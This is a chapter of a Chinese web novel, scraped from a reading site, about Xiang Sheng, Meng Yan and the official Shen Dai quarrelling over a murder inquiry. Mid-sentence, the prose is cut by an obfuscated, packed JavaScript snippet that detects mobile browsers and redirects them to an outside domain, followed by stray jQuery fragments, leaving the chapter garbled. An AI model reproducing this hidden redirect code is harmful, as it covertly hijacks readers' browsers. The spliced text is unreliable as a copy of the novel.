默认冷灰
24号文字
方正启体

12. 首发

作者:沈圆明本书字数:K更新时间:
    三人落座花厅,各怀心腹事,无意去碰精巧的茶水糕点。


    孟炎虽理亏,对沈岱的态度一如初见时刻薄:“沈大人不埋头办案,为了点银子巴巴催债,不怕被人笑话?”


    沈岱亦不示弱:“明镜司吃了亏,自然要按律讨回。”


    孟炎狭眸微凛递给他银票,并不戳穿他的托辞,做了个逐客的手势:“银子我已悉数奉上,还赖在我家作甚?回去好好审金钱豹才是要紧事。”


    沈岱稳稳坐着,非但不起身,反倒端起茶盏品了半晌,才道:“孟公子从前不谙世事,今日,本官便教你一回。”


    话至此处,沈岱终于看向孟炎,这是他到访许久头次直视这个人,而对方不以为意,正垂眸把玩着左腕丝带。


    沈岱面色冷峻,若非有人要他来管教孟炎,他眼中岂容得下这人一根发丝?


    他声线坚冷如铁,略去了人情味:“你也知晓刑部今日赶来救金钱豹的人是什么来路。柳云,刑部侍郎,出身高门,他父亲正是刑部尚书,亦是太子的启蒙老师。柳家的二姑娘,也就是柳云的二姐,是东宫的侧妃。”


    说到这,沈岱顿了顿,终于引出要害:“金钱豹身上有太多疑案,若因此牵扯柳家,会惹圣上疑心太子,而你们也会担上动摇社稷的罪名,下场不必本官多言。”


    言至此处,再愚钝的人也该听出轻重。


    孟炎却用眼白瞥了他一眼,明知故问道:“那便不问柳家,我只要金钱豹交代明白。”


    沈岱只得说得更直白些:“本官已细细审过了,他只是个听吩咐办事的人,再问必要牵扯......”


    “哦?”孟炎恍然大悟地眨了眨眼,坐直了身体,“必会牵扯柳家,因此,堂堂明镜司卿沈大人审不了了。”


    孟炎直直盯着沈岱的眼睛,试图辨出明镜司卿的窘迫,可这人反用不可理喻的眼神打量起他,仿佛他的发问可笑至极。


    孟炎眼底划过狡黠,向后撤了撤身,露出是项笙的身影。


    此刻,沈岱与小娘应正好四目性对。


    下一瞬,他果然兜捕到沈岱神色的停顿。


    沈岱本没有耐心再同孟炎言语,可余光瞥见项笙,又硬着头皮道:“虽不如你的意,但本官已尽力周旋,捉拿金钱豹也算对先前的大案有了交代,于孟家是大功一件。”


    孟炎反问:“难道我爹的死也牵扯着什么不得了的人物,沈大人同样不敢查了?”


    孟济云官拜一品,能压过丞相的人物,天底下没有几个。


    此言实在不知天高地厚,有攀咬皇子或皇帝的嫌疑。


    沈岱最后的耐心消磨殆尽,他重重撂下茶盏,起身冷声道:“孟相的身后事,圣上自有圣裁,旨意不日便会下达,你不要再多问了。”


    孟炎亦不退让,起身道:“我不稀罕圣旨,只求一个真相。”


    沈岱习惯了居高临下,向来官威凛凛,甚少被人接连反驳,一时面色沉寂。


    他眼刀横扫,无声威慑,而跌入视野的竟是项笙。


    沈岱一怔,欲夺门而出的脚步不觉缩回半步。


    “沈大人有难处,我们不强人所难。”


    她的身形看着娇小柔弱,语气却坚定有力,那双眼眸隐隐晦暗,似隔着迷蒙细雨与他相望,和记忆中明朗的模样相去甚远。


    在这萧瑟的眼神中,沈岱蓦地想起,项笙也曾对自己说过同孟炎一模一样的话,甚至神色语气都与孟炎方才如出一辙。


    此刻,项笙轻轻叹了声气,有些怀念唤沈岱“小叔”的日子。


    沈岱只年长了她五岁,本不是两辈人,可他与阿爹同年考中功名,故而算她的长辈,两家多有来往。


    李琢那一剑没能要她的命,她被明镜司暗桩救下,秘密送至沈岱面前。那时,他亦讲了一大段道理不许她追查项家真相。


    项笙早不是高高在上的贵女,深知人活在世,各有光鲜,各有艰辛。她知沈岱有他的难处,却难以自持地心寒。


    明镜司,明镜高悬。


    世人只道沈岱高洁如月,却不知,浊世中的明月本就是被人捏造的。


    因此今日的情形,她竟不觉得很意外。


    孟济云生前权势滔天,可死后也不过烂尸一具,他死的真相不重要,如何死的对皇帝,对朝局有利才要紧,只有最核心的利益才能打动最冷漠的高位者。


    孟济云尚且如此,早在多年前身败名裂的项家又当如何?


    推翻孟家是让项家重回众人视野的唯一法子,而要推翻孟家,便不可避免要查清孟济云遇刺真相。


    一个个连环锁套成串,亦不知细微处又会牵动谁的利害。


    她会成为众矢之的。


    她不会退缩。


    爝火虽微,足能燎野。她愿意做那一星半点的微火,去引动铺天盖地的无间大火。


    若位高权重的沈岱不肯相助,她便得同如今执掌孟家大权的孟炎做亦真亦假的盟友。死的是他亲爹,他一定比她更急迫查出真凶。


    项笙藏去眼尾的艰涩,神色坚毅道:“我与炎哥儿往后做什么,沈大人不必插手。”


    她眼底再度燃起火焰,如晦暗中唯一的光亮,灼灼动人。


    孟炎与沈岱分立两侧,一言不发,视线却不约而同交叠于她一身。


    男人们眸底的晦涩是一尾抓不住的鱼,在彼此察觉前,便已游入海底。


    晚风渐凉,浓云滚滚晦涩了天幕,所有人的脸上都笼上阴霾。


    静默中,陈留入院送来新沏的茶,沈岱瞧了眼逐客的茶,压了压眉峰,竟又坐回了原处。


    孟炎递去眼色,陈留只得双手奉上茶盏,朝沈岱走去。


    行至一半,眼前忽然跌入那身裙摆,项笙截住了他,道:“我来吧。”


    她亲手奉茶,权当是赔礼,缓和同昔日“小叔”的情谊。


    不曾想,有个声音不容置疑道:“小娘,我渴了。”


    孟炎语气霸道,面容却难掩憔悴,那张俊美的脸先前锋芒毕露,如今收敛了凌厉,她能明白他此刻的无力与煎熬,某种意义而言,她与他是一路人。


    思及此,项笙微不可察地叹了口气。


    孟炎固然是她恨之入骨的孟家人,可暂且亦是盟友,而沈岱已严正拒绝了她,此时此刻,她更应该笼络孟炎。


    项笙掉头向孟炎走去,她仰面凝眸,露出柔美的下颌线,唇角荡起一个善意的笑,她很清楚该如何示好。


    项笙双眸明亮,像被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16276314|182434||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    沧浪水洗濯过一般,柔光下,泛起潋滟的光泽,孟炎的身影就映在那一片温润的辉芒里。


    杯沿送到嘴边,孟炎忽地撤身躲闪:“苦。”


    项笙不解:“这茶清香回甘,怎会苦呢。”


    一抹狡黠飞过眉梢,孟炎道:“小娘不信,自己尝尝便知。”


    说罢,他把杯盏推至她唇畔。


    换做先前,她断不会由着孟炎任性妄为,落下庶母继子的暧昧把柄,可如今,在彻查孟济云死因一事上,他是她唯一的盟友。


    横竖此时屋内没有闲杂人等,不如就恶心一番沈岱,解她心头所怨。


    项笙就着杯沿小心翼翼抿了一口,哄孟炎道:“你瞧,不苦。”


    孟炎神色狐疑,只肯贴着她方才碰过的位置喝,苦涩中裹藏着一丝甘甜,他含了杯沿片刻,并不肯放过她:“许是下一口苦,小娘再尝尝。”


    之后的每一口,都要项笙先试过,他才肯喝下。


    也不知是有意还是无意,他每每恰都就着她碰过的杯沿,项笙只得每尝一口,便挪开些许。


    她与他的气息残留在杯沿处,在彼此间渡来渡去。半晌,茶汤总算见了底,项笙如蒙大赦,手臂酸软,背脊沁出一层热汗。


    沈岱的面色已冷到极致,他拂袖起身,头也不回朝大门走去。


    项笙没有追,也没有哄孟炎派人去追。


    孟炎敏锐地察觉到小娘对沈岱的回避,他压着微扬的嘴角,故作愁眉不展,叹道:“金钱豹的线索全断在了明镜司,往后又该如何是好?”


    项笙收回目光,瞥向一旁侍候的陈留:“总有法子,且等我想想。”


    这时,下人忽而进来禀道:“公子,别院花房的老张头今日碰巧进城看孙儿,是不是让他顺道领走陈留?”


    原以为还有两日扭转陈留被送走的局面,不曾想,竟提早地始料未及。


    项笙柔声求道:“留下他,好么?”


    孟炎不明所以地眨了眨眼:“孟家也用了最好的药,最好的大夫救了他的命,且免他余生受朝不保夕的苦楚,小娘不必太挂怀他救命一事。”


    说罢,又见一个下人巴巴赶来:“公子,老张头来了,说是惦记您的身体,想进来请安。”


    “难为他总记着我,快请进来。”孟炎一面应下,一面对下人道,“小夫人身子刚好,快扶回去歇息。”


    下人连忙上前搀扶,项笙思绪飞转,若再寻不到合适的由头,便要眼睁睁看着陈留被送走。


    电光石火,她想到一步险棋,用力挣开下人的手臂,凑近孟炎耳边低声道:“他不能走,他是洪汛案的灾民活口。”


    情急之下,她凑得极近,那热气扑落在孟炎耳廓,潮润了敏感的肌肤。


    孟炎怔了怔,不知自己为何要咬牙忍住。


    项笙见孟炎似乎听进去了,便继续细说道:“他家住长留山脚下的陈家村,那日他并非救命,而是来索命的。炎哥儿,他亲历洪汛一事,或许知晓些什么,能帮我们找出相爷与洪汛的关联。”


    孟炎忽地扼住她的手腕,眸光犀利,质问道:“小娘早知他的来历,又知他恨毒了孟家,为何还扯谎说他是恩人?比起他,我倒是更好奇你安的又是什么心?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)